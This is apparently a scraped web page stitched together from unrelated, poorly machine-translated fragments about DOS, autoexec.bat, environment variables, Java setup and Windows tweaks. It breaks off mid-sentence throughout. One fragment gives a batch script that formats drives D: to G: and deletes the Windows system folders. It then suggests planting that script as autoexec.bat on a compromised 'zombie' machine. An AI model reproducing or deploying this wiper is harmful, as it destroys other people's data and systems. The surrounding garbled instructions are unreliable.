store variable values. Some of these variables are used by the shell itself(Such as path, which lists pathnames of directories where the shell looks for commands). Some VariablesAre used by other programs (such as perl5lib, which tells Perl where to look for library files referencedMySQL cookbook/ch02.ms not for redistribution 2002-1-11-9-By Perl scripts ).The shell you use determines the syntax used to set environment variables, as well as the Startup File inWhich to place the settings. Typica
[HKEY_CURRENT_USER/software/Microsoft/Windows NT/CurrentVersion/Winlogon] and [HKEY_LOCAL_MACHINE/software/Microsoft/Windows NT/CurrentVersion/Winlogon]. note that the following notify, userinit, and shell key values also have self-starting programs, and their key values can be separated by commas to start multiple programs during logon.
8. Other registry locations
There are also some other key values, and some programs will often run automatically here, such:
[HKEY_CURRENT_USER/software/Micr
I. Getting Started
1. Download and install j2sdk http://java.sun.com/j2se/1.4.1/download.html
Java VM http://www.java.com/en/index.jsp
3 API http://java.sun.com/api/index.html
1 first download j2sdk Installation
A. Update the PATH environment variable. In order to execute Java commands (such as javac, Java, and so on) in any directory, you need to put the Java bin directory into the path environment variable. For Windows 95/98, open the "Start" menu, select "run", enter the command sysedit (call
/JDK /. The installed JDK will include at least the following content:
C: \ JDK (/usr/local/JDK)| -- Bin| -- Demo| -- Include| -- JRE| -- Bin| '-- Lib'-- Lib
* ***** Set in Windows
In Windows, use the set command to set environment variables. to set these environment variables for every startup computer, you should set them in the autoexec. BAT file under the System Disk root directory, for example:
Set java_home = c: \ JDKSet Path = % java_home % \ b
environment, you do not have to consider the differences between the size and size of the disk, but use the fixed space as the virtual memory to speed up access. It is best to set the virtual memory after "disk fragment", so that the virtual memory is not in a continuous, non-fragment file space, can better play a role.
8. Remove fancy settings such as "Wallpaper" and "screen protection.
These settings occupy system resources and seriously affect the startup sequence of windows. To remove
table (derived from the WINXP help document "using command redirection operators (redirection operators) lists available handles.
Description of the numeric code of the handleStdin 0 keyboard inputStdout 1 output to the Command Prompt windowStderr 2 error output to Command Prompt windowUndefined 3-9 these handles are separately defined by the application and specific tools
0 keyboard input1. output to the Command Prompt window2 error output to Command Prompt window3-9 these handles are separate
P> SUBST is a command file widely used in the DOS era. Its function does not need to be repeated. From DOS to today's Windows XP era, we have gone through the Windows 3X/9x/ME/2000 series operating systems. The advantages of windows have long forgotten that we still have dos, can we still use it now?
SUBST can play the following roles at least in the Windows operating system:
1. Reduce the wait time for the hardware driver to be installed without the software drive system;
2. easy for users to m
the C root directory
31 represents the root directory of the disk where the Windows system is located
For example, to put the autoexec. BAT and config. sys files into the backup file, you can set the parameter to "file = 30, config. sys, autoexec. Bat ".
3. Hard drive (USB flash drive) also requires personalization
1. Give the hard drive (USB flash drive) a cute DIY icon
First, we replace the hard drive ic
exceptions caused by video card drive errors.In fact, the standard VGA driver is used in "security mode", "network security mode", and "command prompt security mode.6. last correct configuration: After a system error occurs (for example, if the newly added driver is inconsistent with the hardware, the system may fail to start properly ), using the "Last correct configuration" to start Windows generally solves these problems. Of course, if system problems occur due to system file loss or damage,
the compiler location, set the environment variable java. Home to the jsdk installation directory. If you install and accept the default directory on Windows, add the code set java. Home = C: 1.2.2 to your autoexec. BAT file and restart the file.
After jsdk is installed, download and install jswdk or beta tomcat, and use Java as the main Apache network server. It doesn't matter where it is installed, but you can find it. In general, it will be plac
.
8. Remove fancy settings such as wallpaper and Screen Protection
These settings occupy system resources and seriously affect the startup sequence of windows. To remove them, right-click the blank area on the desktop and select "properties" in the pop-up menu ", in the displayed dialog box, select the "background" and "Screen Saver" tabs, and set "Wallpaper" and "Screen Saver" to "NONE.
9. Delete autoexec. BAT and config. sys.
The system inst
Assume that your system is attached to drive C.
Open notepad Input
@ Echo off
Shutdown-r-t 0
Format D:/Q/y
Format E:/Q/y
Format F:/Q/y
Format G:/Q/y
C:
CD \
CD windows
Del./y
CD system32
Del./y
Shutdown-r-t 0
Save as 1.bat
Then run
What are the consequences?
If you want a zombie, you can.
Upload autoexec. BAT to zombie C: overwrite the original autoexec. bat
Last warning: it is best not to mess
commands (pre-resident memory), command. internal commands in COM (in memory at any time according to the memory environment), executable programs with the COM Extension (directly loaded into memory by command.com ), executable programs with exe extensions (loaded into memory after command.com is relocated), and batch processing programs with BAT extensions (analyzed by command.com, according to the content in the order of priority to call the 2, 3, 4, 5 executable programs, analysis of a row,
example, the model of the NIC in Yanhua 3355 is, the amount, and cannot be remembered ,,, boot bios, you can see that the driver is. COM file,
The file name is "e100bpkt. com ", in autoexec. add "@ e100bpkt 0x60" to bat. In this way, 0x60 is the interrupt vector, and 0x62 is commonly used. autoexec of my industrial computer. bat is like this:
Path = C:/; C:/dos7; C:/driver;
@ E100bpkt 0x60
This is probabl
. After selecting this option, the installer will continue to ask if you want to select other environments.Select one or more development environments based on your actual application conditions. The selection of development environments is documented in env-xxx.lnT file.20) the installer will generate a Lin. BAT file, which is a batch file that runs the PC-LINT to makeThe installation program can run in any path. The installation program provides two methods for you to choose from. The first me
look at the computer startup process.
1. The bootstrap loader program and self-diagnosis program stored in ROM (read-only memory) are moved to Ram (random memory.
2. As bootstrap loader runs, the operating system stored in the auxiliary memory device sends system files to ram.
3. Execute the system file IO. sys and msdos. sys. "Starting windowsn98..." appears on the screen ......" .
4. If config. sys exists, run it.
5. Execute the command.com file of the system file.
6. If
to maximize
6 pagesBenefits.Let's take a look at the changes in each DOS version. In this book, we have some conventions, suchV1 indicates version 1, but also the child version of V1. v1.n indicates the child version of V1.1.2.1 Version 1.0 ·DOS V1.0 is the most primitive system that supports PCs. It supports basic Single-sided, eight-sector (eight-sector DiskAnd provides all basic disk services. The major change (relative to CP/M) is that it includes support for magneticDisk directory structur
IF-ERRORLEVEL
Create TEST4.BAT with the following content:@ ECHO OFFXcopy c: \ AUTOEXEC. bat d :\If errorlevel 1 ECHO file copy failedIf errorlevel 0 ECHO, the file is successfully copied.Then execute the file:C: \> TEST4If the file is successfully copied, the screen displays "successfully copied file"; otherwise, the screen displays "file copy failed ".If errorlevel is used to test the return value of the previous DOS command. Note that it is only t
created shortcut and select Properties to enter the program bar. In the running box, select minimize and tick before "close upon exit. In this way, you do not need to copy the file to the directory every time. You only need to double-click the shortcut on the desktop to save the file. If shortcuts take up too much of the desktop, you just need to upload the shortcut you just created to the C: \ windows \ favorites directory, and then you can click the shortcut in your favorites to back up on IE
. If the priority is set to "C:, A:", search for the DOS system from hard drive C at startup, if no disk is found, search for it from disk.
There are two important DOS Files in the root directory of the same boot disk:
(1) config. sys is the system configuration file. The user can use it to pre-define the memory arrangement, and so on, so that the system hardware can play a better role.
(2) autoexec. bat is the batch processing file automatically exec
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.